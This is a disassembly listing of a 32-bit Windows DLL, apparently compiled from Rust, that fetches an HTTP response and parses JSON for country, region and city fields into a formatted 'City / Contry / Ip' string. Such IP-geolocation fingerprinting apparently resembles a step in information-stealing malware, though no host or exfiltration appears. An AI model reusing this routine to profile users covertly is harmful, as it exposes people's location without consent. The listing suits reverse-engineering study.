movsd xmm1, qword [eax + 0x170]
movsd qword [ecx + 8], xmm1
movsd qword [ecx], xmm0
mov byte [esp + 0x4dd], 0
mov byte [esp + 0x4dc], 0
lea eax, [esp + 0x4b8]
lea edx, [esp + 0x4d8]
movsd xmm0, qword [ecx]
movsd xmm1, qword [ecx + 8]
movsd qword [eax + 8], xmm1
movsd qword [eax], xmm0
mov dword [esp + 0x4d8], eax
mov dword [esp + 0x4e0], edx
lea eax, [esp + 0x140]
mov ecx, esi
push eax
call sym.__LT__RF_mut_u20_T_u20_as_u20_http_body..Body_GT_::poll_data::hc9e5a7c2d562c0f9
pop eax
mov eax, dword [esp + 0x1f0]
cmp eax, 2
jne 0x1000ae48
mov al, 3
jmp 0x1000bcbc
test eax, eax
je 0x1000aec5
mov eax, dword [esp + 0x1f4]
mov edi, dword [esp + 0x1f8]
test eax, eax
je 0x1000afc1
mov edx, dword [esp + 0x1fc]
mov ecx, dword [esp + 0x200]
mov byte [esp + 0x4dc], 1
mov dword [esp + 0x4c8], eax
mov dword [esp + 0x4cc], edi
mov dword [esp + 0x4d0], edx
lea edx, [esp + 0x4d8]
mov dword [esp + 0x4d4], ecx
mov dword [esp + 0x4e0], edx
lea eax, [esp + 0x140]
mov ecx, esi
push eax
call sym.__LT__RF_mut_u20_T_u20_as_u20_http_body..Body_GT_::poll_data::hc9e5a7c2d562c0f9
pop eax
mov eax, dword [esp + 0x1f0]
cmp eax, 2
jne 0x1000aedf
mov al, 4
jmp 0x1000bcbc
mov dword [esp + 0x3c], 0
mov esi, 0x101b7080
mov dword [esp + 0x14], str._rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6librarycore_srccharmethods.rs_g
jmp 0x1000afcf
test eax, eax
je 0x1000b216
mov eax, dword [esp + 0x1f4]
mov edx, dword [esp + 0x1f8]
test eax, eax
je 0x1000b291
mov ecx, dword [esp + 0x200]
mov esi, dword [esp + 0x1fc]
mov dword [esp + 0x4f0], eax
mov dword [esp + 0x4f4], edx
mov dword [esp + 0x4f8], esi
mov dword [esp + 0x4fc], ecx
add esi, dword [esp + 0x4d0]
mov edx, dword [esp + 0x4d8]
lea edi, [esp + 0x1f0]
mov ecx, edi
call sym.__LT_reqwest..async_impl..body..ImplStream_u20_as_u20_http_body..Body_GT_::size_hint::ha97ee2ab7925f480
add esi, dword [esp + 0x200]
lea ebx, [esp + 0x4e0]
mov edx, esi
mov esi, edi
mov ecx, ebx
call sym.alloc::vec::Vec_LT_T_GT_::with_capacity::h9db53d74deea90ba
mov byte [esp + 0x4dc], 0
lea eax, [esp + 0x4c8]
movsd xmm0, qword [eax]
movsd xmm1, qword [eax + 8]
movsd qword [esp + 0x1f0], xmm0
movsd qword [esp + 0x1f8], xmm1
mov ecx, ebx
mov edx, edi
call sym.__LT_alloc..vec..Vec_LT_u8_GT__u20_as_u20_bytes..buf..buf_mut..BufMut_GT_::put::hd1d02da1af9c79a0
lea eax, [esp + 0x320]
movsd xmm0, qword [eax + 0x1d0]
movsd xmm1, qword [eax + 0x1d8]
movsd qword [esp + 0x1f8], xmm1
movsd qword [esp + 0x1f0], xmm0
mov ecx, ebx
mov edx, edi
jmp 0x1000bdd0
mov dword [esp + 0x14], edi
xor esi, esi
mov dword [esp + 0x3c], 0
xor edi, edi
mov byte [esp + 0x4dc], 0
lea ecx, [esp + 0x4b8]
call sym.core::ptr::drop_in_place_LT_reqwest..async_impl..body..Body_GT_::h20182cd28a3cc64d
mov bl, 1
mov byte [esp + 0x4dd], bl
lea ecx, [esp + 0x4a8]
call sym.__ZN4core3ptr126drop_in_place_LT_hyper..body..to_bytes..to_bytes_LT_reqwest..async_impl..decoder..Decoder_GT_.._u7b__u7b_closu
lea eax, [esp + 0x448]
push eax
call sym.core::ptr::drop_in_place_LT_http..header..map..HeaderMap_GT_::hf1a0b4288c07ea54
pop eax
mov ecx, dword [esp + 0x498]
call sym.core::ptr::drop_in_place_LT_alloc..boxed..Box_LT_url..Url_GT__GT_::heeed2bcdffb6b23b
mov ecx, dword [esp + 0x49c]
call sym.__ZN4core3ptr298drop_in_place_LT_core..option..Option_LT_alloc..boxed..Box_LT_std..collections..hash..map..HashMap_LT_core..an
mov byte [esp + 0x500], bl
lea ecx, [esp + 0x3e8]
call sym.__ZN4core3ptr96drop_in_place_LT_reqwest..async_impl..response..Response..bytes.._u7b__u7b_closure_u7d__u7d__GT_17h3bb93f6a233d
test esi, esi
je 0x1000b146
mov eax, dword [esp + 0x14]
mov dword [esp + 0x60], esi
mov esi, dword [esp + 0x3c]
mov dword [esp + 0x64], eax
mov dword [esp + 0x6c], edi
mov edi, eax
mov eax, dword [esp + 0x534]
mov dword [esp + 0x68], esi
mov dword [esp + 0xc], eax
mov ecx, edi
mov edx, esi
push 3
push 0x101b4eb4
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::starts_with::h39cedadd2abca6a3
pop ecx
pop edx
mov ebx, 0x101b4ec4
test al, al
push 3
pop ecx
jne 0x1000b0c0
mov ecx, edi
mov edx, esi
push 2
push 0x101b4eb7
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::starts_with::h39cedadd2abca6a3
pop ecx
pop edx
mov ebx, 0x101b4ec0
test al, al
push 2
pop ecx
jne 0x1000b0c0
mov ecx, edi
mov edx, esi
push 2
push 0x101b4eb9
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::starts_with::h39cedadd2abca6a3
pop ecx
pop edx
mov ebx, 0x101b4ebc
test al, al
push 2
pop ecx
mov edx, esi
mov dword [esp + 0x44], edi
je 0x1000b0d9
mov eax, dword [ebx]
mov dword [esp + 0xc], eax
mov edx, edi
push 0x101b4ea4
push esi
call fcn.100484b4
pop ecx
pop ecx
mov dword [esp + 0x44], eax
mov dword [esp + 0x1c], edx
mov edx, dword [esp + 0xc]
cmp edx, 0x1018e068
je 0x1000b154
cmp edx, 0x1018e0e0
je 0x1000b154
cmp edx, 0x1018e04c
je 0x1000b154
cmp edx, 0x1018e084
je 0x1000b200
mov esi, dword [esp + 0x44]
cmp edx, 0x1018de38
je 0x1000b261
mov ecx, esi
xor eax, eax
neg ecx
and ecx, 3
lea edx, [ecx + 8]
cmp edx, dword [esp + 0x1c]
jbe 0x1000b29a
mov edx, eax
mov eax, dword [esp + 0x1c]
cmp edx, eax
jae 0x1000b2fc
cmp byte [esi + edx], 0
js 0x1000b2f2
inc edx
jmp 0x1000b131
mov edi, dword [esp + 0x14]
mov esi, 0x80000000
jmp 0x1000ba4b
lea ebx, [esp + 0x90]
mov ecx, ebx
call sym.encoding_rs::Encoding::new_decoder_without_bom_handling::h1d4d21f31647fe95
mov ecx, ebx
mov ebx, dword [esp + 0x1c]
mov edx, ebx
call sym.encoding_rs::Decoder::max_utf8_buffer_length_without_replacement::hb72fc3468f7e8d67
mov ecx, eax
call sym.core::option::Option_LT_T_GT_::map::h5141d13da67c94fb
mov esi, edx
mov edi, eax
lea ecx, [esp + 0x90]
mov edx, ebx
call sym.encoding_rs::Decoder::max_utf8_buffer_length::hb99ef73a49e0a7fb
cmp edi, 1
jne 0x1000b19a
cmp esi, edx
cmovb edx, esi
cmp eax, 1
cmovne edx, esi
jmp 0x1000b1a2
test eax, eax
je 0x1001006d
lea ecx, [esp + 0x80]
call sym.alloc::string::String::with_capacity::hd9cd3b86bb8ea619
mov eax, dword [esp + 0xa8]
movsd xmm0, qword [esp + 0xa0]
movsd xmm2, qword [esp + 0x90]
movsd xmm1, qword [esp + 0x98]
mov edx, dword [esp + 0x88]
xor ebx, ebx
mov dword [esp + 0x208], eax
movsd qword [esp + 0x200], xmm0
movsd qword [esp + 0x1f8], xmm1
movsd qword [esp + 0x1f0], xmm2
jmp 0x1000b3eb
mov esi, dword [esp + 0x44]
mov edx, dword [esp + 0x1c]
mov ecx, esi
call sym.encoding_rs::utf_8::utf8_valid_up_to::hbe1b4fa228cd1d56
mov edx, eax
jmp 0x1000b2f2
mov eax, dword [esp + 0x4cc]
mov esi, dword [esp + 0x4c8]
mov edi, dword [esp + 0x4d4]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x4d0]
mov dword [esp + 0x4c8], 0x10168d74
mov dword [esp + 0x4cc], 0x101e6728
and dword [esp + 0x4d0], 0
and dword [esp + 0x4d4], 0
jmp 0x1000be51
xor eax, eax
mov edx, eax
mov eax, dword [esp + 0x1c]
cmp eax, edx
je 0x1000b2fc
movzx ecx, byte [esi + edx]
test cl, cl
js 0x1000b2f2
lea eax, [edx + 1]
cmp ecx, 0x1b
ja 0x1000b263
mov edi, edx
mov edx, 0x800c000
bt edx, ecx
mov edx, edi
jae 0x1000b263
jmp 0x1000b2f2
mov dword [esp + 0x14], edx
jmp 0x1000be4f
mov eax, dword [esp + 0x1c]
xor edx, edx
cmp ecx, edx
je 0x1000b2ad
cmp byte [esi + edx], 0
js 0x1000b2f2
inc edx
jmp 0x1000b2a0
lea edx, [eax - 8]
mov eax, ecx
mov ecx, dword [esi + eax + 4]
mov edi, dword [esi + eax]
mov ebx, 0x80808080
and ecx, ebx
and edi, ebx
mov ebx, ecx
or ebx, edi
jne 0x1000b2d4
add eax, 8
cmp eax, edx
jbe 0x1000b2b2
jmp 0x1000b12b
test edi, edi
je 0x1000b2e0
bsf edx, edi
shr edx, 3
jmp 0x1000b2f0
test ecx, ecx
push 0x20
pop edx
je 0x1000b2ea
bsf edx, ecx
shr edx, 3
add edx, 4
add edx, eax
mov eax, dword [esp + 0x1c]
mov edi, eax
sub edi, edx
jne 0x1000b30c
mov edx, dword [esp + 0x14]
mov edi, esi
mov esi, 0x80000000
jmp 0x1000b9e9
mov esi, edx
mov edx, dword [esp + 0xc]
lea ebx, [esp + 0x90]
mov ecx, ebx
call sym.encoding_rs::Encoding::new_decoder_without_bom_handling::h1d4d21f31647fe95
mov ecx, ebx
mov edx, edi
call sym.encoding_rs::Decoder::max_utf8_buffer_length_without_replacement::hb72fc3468f7e8d67
cmp eax, 1
sete al
add edx, esi
setae cl
and cl, al
movzx ecx, cl
call sym.core::option::Option_LT_T_GT_::map::h5141d13da67c94fb
mov ebx, edx
mov dword [esp + 0xc], eax
lea ecx, [esp + 0x90]
mov edx, edi
call sym.encoding_rs::Decoder::max_utf8_buffer_length::hb99ef73a49e0a7fb
cmp eax, 1
mov edi, esi
setne cl
add edx, esi
setb al
or al, cl
cmp dword [esp + 0xc], 1
jne 0x1000b374
cmp ebx, edx
cmovb edx, ebx
test al, al
cmovne edx, ebx
jmp 0x1000b37c
test al, al
jne 0x100101a7
lea ecx, [esp + 0x80]
call sym.alloc::string::String::with_capacity::hd9cd3b86bb8ea619
mov dword [esp + 0x88], edi
push edi
push dword [esp + 0x48]
push dword [esp + 0x8c]
call sub.msvcrt.dll_memcpy
mov edx, edi
add esp, 0xc
movsd xmm1, qword [esp + 0x98]
movsd xmm0, qword [esp + 0x90]
mov eax, dword [esp + 0xa8]
mov ebx, edi
movsd qword [esp + 0x1f8], xmm1
movsd xmm1, qword [esp + 0xa0]
movsd qword [esp + 0x1f0], xmm0
mov dword [esp + 0x208], eax
movsd qword [esp + 0x200], xmm1
mov eax, dword [esp + 0x208]
movsd xmm0, qword [esp + 0x200]
movq xmm2, qword [esp + 0x1f0]
movsd xmm1, qword [esp + 0x1f8]
mov edi, dword [esp + 0x80]
mov dword [esp + 0xa8], eax
movsd qword [esp + 0xa0], xmm0
movsd qword [esp + 0x98], xmm1
movq qword [esp + 0x90], xmm2
mov esi, edx
mov edx, dword [esp + 0x44]
mov ecx, ebx
mov dword [esp + 0xe4], ebx
push 0x1018f4f4
push dword [esp + 0x20]
call fcn.100484b4
pop ecx
pop ecx
mov dword [esp + 0x88], edi
mov dword [esp + 0xe0], eax
mov eax, edx
mov edx, dword [esp + 0x84]
mov dword [esp + 0x78], esi
mov ecx, esi
mov esi, eax
push 0x1018f5b0
push edi
call fcn.1002088a
pop ecx
pop ecx
mov ebx, eax
xor edi, edi
xor ecx, ecx
mov dword [esp + 0x24], edx
mov dword [esp + 0x7c], esi
mov dword [esp + 0x40], eax
mov edx, dword [esp + 0xe0]
mov dword [esp + 0x2c], ecx
push 0x1018f560
push esi
call fcn.100484b4
pop ecx
pop ecx
mov esi, edx
mov dword [esp + 0xc], eax
mov ecx, edi
mov edx, ebx
push 0x1018f570
push dword [esp + 0x28]
call fcn.1002088a
pop ecx
pop ecx
mov dword [esp + 0x28], eax
movzx eax, byte [esp + 0xa8]
mov dword [esp + 0x34], edx
mov cl, 7
xor ebx, ebx
movzx ecx, cl
mov dword [esp + 0x20], ecx
mov cl, 6
movzx ecx, cl
mov edx, dword [eax*4 + 0x100104cc]
mov al, 9
mov dword [esp + 0x10], ecx
mov cl, 4
movzx eax, al
movzx ecx, cl
add edx, dword [esp + 0x30]
jmp edx
cmp esi, 0x80000000
mov dword [esp + 0x90], esi
mov dword [esp + 0x94], edi
mov dword [esp + 0x98], eax
jne 0x1000ba3e
lea ecx, [esp + 0x1f0]
push dword [esp + 0x3c]
call sym.__LT_T_u20_as_u20_alloc..slice..hack..ConvertVec_GT_::to_vec::hce01cac4b6d59a8a
pop eax
mov eax, dword [esp + 0x1f8]
mov esi, dword [esp + 0x1f0]
mov edi, dword [esp + 0x1f4]
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x90]
call sym.core::ptr::drop_in_place_LT_alloc..borrow..Cow_LT_str_GT__GT_::he5f922f6295e6736
jmp 0x1000ba42
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x60]
call sym.core::ptr::drop_in_place_LT_bytes..bytes..Bytes_GT_::h3c9f53f4c6429f03
lea ecx, [esp + 0x508]
call sym.core::ptr::drop_in_place_LT_core..option..Option_LT_mime..Mime_GT__GT_::h35f83b89d37359c9
cmp esi, 0x80000001
mov byte [esp + 0x538], 1
jne 0x1000be74
lea esi, [esp + 0x1f0]
jmp 0x1000bcd3
mov ecx, dword [esp + 0x1f0]
cmp ecx, 0x80000003
je 0x1000ab19
mov eax, dword [esp + 0x1fc]
mov ebx, dword [esp + 0x1f4]
mov edx, dword [esp + 0x1f8]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x158], eax
lea eax, [ecx - 0x80000000]
mov ecx, 1
mov dword [esp + 0x310], ebx
mov dword [esp + 0x154], edx
cmp eax, 3
cmovae eax, ecx
cmp eax, 2
je 0x1000bb1f
cmp eax, 1
jne 0x1000bb38
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x1f0]
push dword [esp + 0xc]
call sym.__LT_T_u20_as_u20_alloc..slice..hack..ConvertVec_GT_::to_vec::h14a595323abadcb0
pop eax
mov edx, dword [esp + 0x158]
mov eax, dword [esp + 0x1f8]
mov ecx, dword [esp + 0x1f4]
test edx, edx
mov dword [esp + 0x14], eax
je 0x1000bb70
cmp dword [esp + 0x14], edx
jbe 0x1000bb6a
cmp byte [ecx + edx], 0xbf
jg 0x1000bb70
jmp 0x100103d9
mov eax, dword [esp + 0x24]
cmp eax, dword [esp + 0xc]
jae 0x1000bb49
mov edx, dword [esp + 0x28]
cmp byte [edx + eax], 0xbf
jg 0x1000bb53
jmp 0x100103cc
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x108]
push dword [esp + 0xc]
jmp 0x1000bb5b
mov edx, dword [esp + 0x28]
jne 0x100103cc
lea ecx, [esp + 0x108]
push eax
call sym.alloc::str::__LT_impl_u20_str_GT_::to_ascii_lowercase::hd7c8987e8b2229b6
pop eax
mov edx, dword [esp + 0x3c]
jmp 0x1000bc51
jne 0x100103d9
mov dword [esp + 0x24], ecx
call sym.core::slice::ascii::__LT_impl_u20__u5b_u8_u5d__GT_::make_ascii_lowercase::he423b3c29adc8e80
mov eax, ebx
add eax, 0xc
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x154]
shl eax, 4
mov edx, dword [esp + 0x3c]
test eax, eax
je 0x1000bc31
mov esi, dword [ebx]
mov edi, dword [ebx + 4]
mov ecx, dword [esp + 0x1f4]
mov edx, dword [esp + 0x1f8]
mov dword [esp + 0xc], eax
push 0x101b25ec
push edi
push esi
call sym.__LT_alloc..string..String_u20_as_u20_core..ops..index..IndexMut_LT_I_GT__GT_::index_mut::hfa38f79911707746
add esp, 0xc
mov ecx, eax
call sym.core::slice::ascii::__LT_impl_u20__u5b_u8_u5d__GT_::make_ascii_lowercase::he423b3c29adc8e80
mov ecx, esi
mov edx, edi
push 0x101b25fc
push dword [esp + 0x18]
push dword [esp + 0x2c]
call sym.__ZN4core3str6traits108__LT_impl_u20_core..slice..index..SliceIndex_LT_str_GT__u20_for_u20_core..ops..range..Range_LT_usize_GT
add esp, 0xc
mov ecx, eax
push 7
push str.charset
call sym.core::cmp::impls::__LT_impl_u20_core..cmp..PartialEq_LT__RF_B_GT__u20_for_u20__RF_A_GT_::eq::h5f4ea6b4ed9a57f6
pop ecx
pop edx
test al, al
je 0x1000bc1d
mov ecx, dword [esp + 0x1f4]
mov edx, dword [esp + 0x1f8]
push 0x101b260c
mov eax, dword [esp + 0x14]
push dword [eax]
push dword [eax - 4]
call sym.__LT_alloc..string..String_u20_as_u20_core..ops..index..IndexMut_LT_I_GT__GT_::index_mut::hfa38f79911707746
add esp, 0xc
mov ecx, eax
call sym.core::slice::ascii::__LT_impl_u20__u5b_u8_u5d__GT_::make_ascii_lowercase::he423b3c29adc8e80
mov eax, dword [esp + 0xc]
add dword [esp + 0x10], 0x10
add ebx, 0x10
add eax, 0xfffffff0
jmp 0x1000bb8c
mov eax, dword [esp + 0x1f8]
movsd xmm0, qword [esp + 0x1f0]
mov dword [esp + 0x110], eax
movsd qword [esp + 0x108], xmm0
mov eax, dword [esp + 0x110]
movsd xmm0, qword [esp + 0x108]
lea ecx, [esp + 0x90]
mov esi, dword [esp + 0x154]
mov edi, dword [esp + 0x2c]
mov dword [esp + 0x3c], edx
mov dword [ecx + 0xb], eax
movsd qword [ecx + 3], xmm0
mov al, 1
mov ecx, edx
mov dl, dh
movsd xmm0, qword [esp + 0x90]
movsd xmm1, qword [esp + 0x97]
jmp 0x1000a6e9
lea eax, [esp + 0x140]
mov ecx, esi
push eax
call sym.__LT__RF_mut_u20_T_u20_as_u20_http_body..Body_GT_::poll_data::hc9e5a7c2d562c0f9
pop eax
cmp dword [esp + 0x1f0], 2
jne 0x1000bd55
mov al, 5
mov cl, 3
mov byte [esp + 0x4dd], al
mov byte [esp + 0x500], cl
mov byte [esp + 0x538], cl
cmp dword [esp + 0x18], 0x3b9aca00
jne 0x1000bce4
call sym.std::thread::park::h01ce36522ba8587f
jmp 0x1000bd42
call sym.std::time::Instant::now::h5072b777a08264cc
mov edi, ecx
mov ecx, dword [esp + 0x74]
mov esi, edx
mov ebx, edx
mov edx, dword [esp + 0x38]
cmp eax, ecx
sbb ebx, edx
jb 0x1000bd21
mov edx, esi
mov ebx, eax
xor edx, dword [esp + 0x38]
xor ebx, ecx
mov ecx, dword [esp + 0x74]
or edx, ebx
mov edx, dword [esp + 0x38]
jne 0x1000be83
cmp edi, dword [esp + 0x18]
jae 0x1000be83
push edi
push esi
push eax
push dword [esp + 0x24]
call sym.__LT_std..time..Instant_u20_as_u20_core..ops..arith..Sub_GT_::sub::h350457d58c311ea3
add esp, 0x10
mov esi, ecx
mov ecx, eax
push esi
call dbg.park_timeout
pop eax
lea esi, [esp + 0x1f0]
mov al, byte [esp + 0x538]
lea edx, [esp + 0x3e8]
jmp 0x1000a1c9
movsd xmm0, qword [esp + 0x1f0]
mov eax, dword [esp + 0x200]
movsd xmm1, qword [esp + 0x1f8]
movsd qword [esp + 0x90], xmm0
mov dword [esp + 0xa0], eax
movsd qword [esp + 0x98], xmm1
cmp dword [esp + 0x90], 0
je 0x1000bde8
mov eax, dword [esp + 0x94]
mov edi, dword [esp + 0x98]
test eax, eax
je 0x1000be3d
mov ecx, dword [esp + 0x9c]
mov edx, dword [esp + 0xa0]
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], edi
mov dword [esp + 0x54], edx
mov dword [esp + 0x50], ecx
lea ecx, [esp + 0x4e0]
lea edx, [esp + 0x48]
call sym.__LT_alloc..vec..Vec_LT_u8_GT__u20_as_u20_bytes..buf..buf_mut..BufMut_GT_::put::hd1d02da1af9c79a0
lea edx, [esp + 0x4d8]
mov dword [esp + 0x4ec], edx
jmp 0x1000bc9c
lea ecx, [esp + 0x4e0]
mov eax, dword [ecx + 8]
movsd xmm0, qword [ecx]
mov dword [esp + 0x98], eax
movsd qword [esp + 0x90], xmm0
mov ecx, esi
lea edx, [esp + 0x90]
call sym.__LT_bytes..bytes..Bytes_u20_as_u20_core..convert..From_LT_alloc..vec..Vec_LT_u8_GT__GT__GT_::from::h3ad9f9f9d382278c
mov eax, dword [esp + 0x1f4]
mov ecx, dword [esp + 0x1f8]
mov esi, dword [esp + 0x1f0]
mov edi, dword [esp + 0x1fc]
mov dword [esp + 0x14], eax
mov dword [esp + 0x3c], ecx
jmp 0x1000afd1
mov dword [esp + 0x14], edi
lea eax, [esp + 0x4e0]
push eax
call sym.core::ptr::drop_in_place_LT_alloc..vec..Vec_LT_u8_GT__GT_::h798a764fd649a212
pop eax
xor esi, esi
cmp byte [esp + 0x4dc], 0
mov dword [esp + 0x3c], eax
je 0x1000afd1
lea ecx, [esp + 0x4c8]
call sym.core::ptr::drop_in_place_LT_bytes..bytes..Bytes_GT_::h3c9f53f4c6429f03
jmp 0x1000afd1
cmp esi, 0x80000000
jne 0x1000bec1
mov esi, 0x80000000
jmp 0x1000bec1
movzx eax, byte [esp + 0x538]
xor edi, edi
mov esi, 0x80000000
test eax, eax
je 0x1000beb5
cmp eax, 3
jne 0x1000bec1
lea ecx, [esp + 0x3e8]
call sym.__ZN4core3ptr96drop_in_place_LT_reqwest..async_impl..response..Response..bytes.._u7b__u7b_closure_u7d__u7d__GT_17h3bb93f6a233d
lea ecx, [esp + 0x508]
call sym.core::ptr::drop_in_place_LT_core..option..Option_LT_mime..Mime_GT__GT_::h35f83b89d37359c9
jmp 0x1000bec1
lea ecx, [esp + 0x320]
call sym.core::ptr::drop_in_place_LT_reqwest..async_impl..response..Response_GT_::he15b25953f741f17
mov eax, dword [esp + 0x1e0]
push dword [esp + 0x1e4]
call dword [eax + 0xc]
add esp, 4
cmp esi, 0x80000000
jne 0x1000beec
mov esi, 0x80000000
test edi, edi
je 0x1000befd
mov dword [esp + 0x14], edi
jmp 0x1000bf09
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x14], edi
mov dword [esp + 0x588], eax
jmp 0x1000bf09
push 5
pop ecx
call sym.reqwest::error::Error::new::h4e513da2ffdbd9b7
mov dword [esp + 0x14], eax
mov edi, dword [esp + 0x1d0]
test edi, edi
je 0x1000bf34
mov ebx, dword [esp + 0x1d4]
push edi
call dword [ebx]
add esp, 4
mov eax, dword [ebx + 4]
test eax, eax
je 0x1000bf34
mov edx, dword [ebx + 8]
mov ecx, edi
push eax
call sym.__LT_alloc..alloc..Global_u20_as_u20_core..alloc..Allocator_GT_::deallocate::hcacc92fefce56ab3
pop eax
cmp dword [esp + 0x1d8], 0
je 0x1000bf4a
lea ecx, [esp + 0x1d8]
call sym.core::ptr::drop_in_place_LT_alloc..sync..Arc_LT_reqwest..blocking..client..InnerClientHandle_GT__GT_::h11574ea0f3de0e9e
mov edi, dword [esp + 0x308]
cmp esi, 0x80000000
je 0x1001012c
mov ebx, dword [esp + 0x14]
lea ecx, [esp + 0x320]
mov edx, ebx
push dword [esp + 0x588]
call sym.serde_json::de::from_str::hed61646e8a2fbe72
pop eax
cmp byte [esp + 0x320], 6
je 0x1001016c
movsd xmm0, qword [esp + 0x330]
movq xmm2, qword [esp + 0x320]
movsd xmm1, qword [esp + 0x328]
movsd qword [esp + 0x200], xmm0
movsd qword [esp + 0x1f8], xmm1
movq qword [esp + 0x1f0], xmm2
mov ecx, esi
mov edx, ebx
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
lea ecx, [esp + 0x1f0]
mov edx, str.country
push 7
call sym.serde_json::value::Value::get::h476bcdf953bceffa
pop ecx
test eax, eax
je 0x1001014e
mov ecx, eax
call sym.serde_json::value::Value::as_str::h5b09fcbff137ebc1
mov ebx, dword [esp + 0x598]
test eax, eax
mov esi, edx
cmove eax, edi
cmove esi, ebx
lea ecx, [esp + 0x60]
mov edx, eax
push esi
call sym.__LT_str_u20_as_u20_alloc..string..ToString_GT_::to_string::h76b562e98917fdcd
pop eax
lea ecx, [esp + 0x1f0]
mov edx, str.regionName
push 0xa
call sym.serde_json::value::Value::get::h476bcdf953bceffa
pop ecx
test eax, eax
je 0x10010193
mov ecx, eax
call sym.serde_json::value::Value::as_str::h5b09fcbff137ebc1
test eax, eax
mov esi, edx
cmove eax, edi
cmove esi, ebx
lea ecx, [esp + 0x48]
mov edx, eax
push esi
call sym.__LT_str_u20_as_u20_alloc..string..ToString_GT_::to_string::h76b562e98917fdcd
pop eax
lea ecx, [esp + 0x1f0]
mov edx, str.city
push 4
call sym.serde_json::value::Value::get::h476bcdf953bceffa
pop ecx
test eax, eax
je 0x10010158
mov ecx, eax
call sym.serde_json::value::Value::as_str::h5b09fcbff137ebc1
test eax, eax
mov esi, edx
cmove eax, edi
cmove esi, ebx
lea ecx, [esp + 0x90]
mov edx, eax
push esi
call sym.__LT_str_u20_as_u20_alloc..string..ToString_GT_::to_string::h76b562e98917fdcd
pop eax
lea ecx, [esp + 0x1f0]
mov edx, 0x101672dc
push 3
call sym.serde_json::value::Value::get::h476bcdf953bceffa
pop ecx
test eax, eax
je 0x1001019d
mov ecx, eax
call sym.serde_json::value::Value::as_str::h5b09fcbff137ebc1
test eax, eax
mov esi, edx
cmove eax, edi
cmove esi, ebx
lea ecx, [esp + 0x160]
mov edx, eax
push esi
call sym.__LT_str_u20_as_u20_alloc..string..ToString_GT_::to_string::h76b562e98917fdcd
pop eax
lea ecx, [esp + 0x1f0]
mov edx, 0x101b6718
push 5
call sym.serde_json::value::Value::get::h476bcdf953bceffa
pop ecx
test eax, eax
je 0x10010162
mov ecx, eax
call sym.serde_json::value::Value::as_str::h5b09fcbff137ebc1
test eax, eax
mov esi, edx
cmove esi, ebx
cmove eax, edi
lea ecx, [esp + 0x320]
mov edx, eax
push esi
call sym.__LT_str_u20_as_u20_alloc..string..ToString_GT_::to_string::h76b562e98917fdcd
pop eax
movsd xmm0, qword [esp + 0x60]
mov eax, dword [esp + 0x68]
mov ebx, dword [esp + 0x50]
mov edx, dword [esp + 0x98]
lea esi, [esp + 0x11c]
movsd qword [esp + 0x118], xmm0
movsd xmm0, qword [esp + 0x48]
mov dword [esp + 0x120], eax
mov dword [esi + 0x10], ebx
mov ebx, dword [esp + 0x160]
movsd qword [esi + 8], xmm0
mov dword [esi + 0x1c], edx
movsd xmm0, qword [esp + 0x90]
mov edx, dword [esp + 0x164]
mov dword [esp + 0xc], ebx
mov ebx, dword [esp + 0x168]
movsd qword [esi + 0x14], xmm0
mov dword [esp + 0x10], edx
mov edx, dword [esp + 0x328]
movsd xmm0, qword [esp + 0x320]
mov dword [esp + 0xe8], ebx
mov ebx, edi
lea edi, [esp + 0xec]
mov dword [edi + 8], edx
movsd qword [edi], xmm0
lea ecx, [esp + 0x1f0]
call sym.core::ptr::drop_in_place_LT_serde_json..value..Value_GT_::h2332b0f79b47633b
mov ecx, dword [esp + 0x590]
mov edx, dword [esp + 0x58c]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x594]
mov edx, ebx
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
movsd xmm0, qword [esi + 0x14]
mov ebx, dword [esp + 0x120]
mov ecx, dword [edi + 8]
mov eax, dword [esi + 0x1c]
mov dword [esp + str.City:_nContry:_nIp:_nName_Region_city:__n_n], 0x1016813c
mov dword [esp + 0x1f4], 5
and dword [esp + 0x200], 0
movsd qword [esp + 0x60], xmm0
movsd xmm0, qword [esp + 0x118]
mov dword [esp + 0x50], ebx
mov ebx, dword [esi + 0x10]
mov dword [esp + 0x98], ecx
lea ecx, [esp + 0x60]
mov dword [esp + 0x68], eax
mov dword [esp + 0x320], ecx
mov ecx, sym.__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_::fmt::hdff27194fd61d0e6
mov dword [esp + 0x324], ecx
movsd qword [esp + 0x48], xmm0
movsd xmm0, qword [edi]
mov dword [esp + 0x168], ebx
lea ebx, [esp + 0x90]
lea edi, [esp + 0x160]
movsd qword [esp + 0x90], xmm0
movsd xmm0, qword [esi + 8]
lea esi, [esp + 0x48]
mov dword [esp + 0x328], esi
lea esi, [esp + 0x320]
mov dword [esp + 0x32c], ecx
mov dword [esp + 0x330], ebx
mov dword [esp + 0x334], ecx
mov dword [esp + 0x338], edi
mov dword [esp + 0x33c], ecx
mov dword [esp + 0x1f8], esi
mov dword [esp + 0x1fc], 4
movsd qword [esp + 0x160], xmm0
lea ecx, [esp + 0x1e0]
lea edx, [esp + 0x1f0]
call sym.alloc::fmt::format::h28429d8526483b61
mov ecx, dword [esp + 0x160]
mov edx, dword [esp + 0x164]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x90]
mov edx, dword [esp + 0x94]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x4c]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x64]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
